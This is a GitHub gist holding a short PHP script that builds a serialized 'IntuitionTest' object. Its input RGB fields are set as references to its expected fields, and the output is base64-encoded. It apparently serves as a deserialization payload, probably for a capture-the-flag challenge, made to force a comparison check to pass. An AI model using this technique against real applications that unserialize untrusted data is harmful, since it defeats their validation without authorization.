Skip to content

Instantly share code, notes, and snippets.

@ardzz
Created February 9, 2025 13:59
Show Gist options
  • Save ardzz/49a2bef839fd20b5291d1e7193e9827a to your computer and use it in GitHub Desktop.
Save ardzz/49a2bef839fd20b5291d1e7193e9827a to your computer and use it in GitHub Desktop.
<?php
class IntuitionTest {
public $name;
public $expected_R;
public $expected_G;
public $expected_B;
public $input_R;
public $input_G;
public $input_B;
}
$obj = new IntuitionTest();
$obj->input_R = &$obj->expected_R;
$obj->input_G = &$obj->expected_G;
$obj->input_B = &$obj->expected_B;
$serialized = serialize($obj);
echo base64_encode($serialized);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment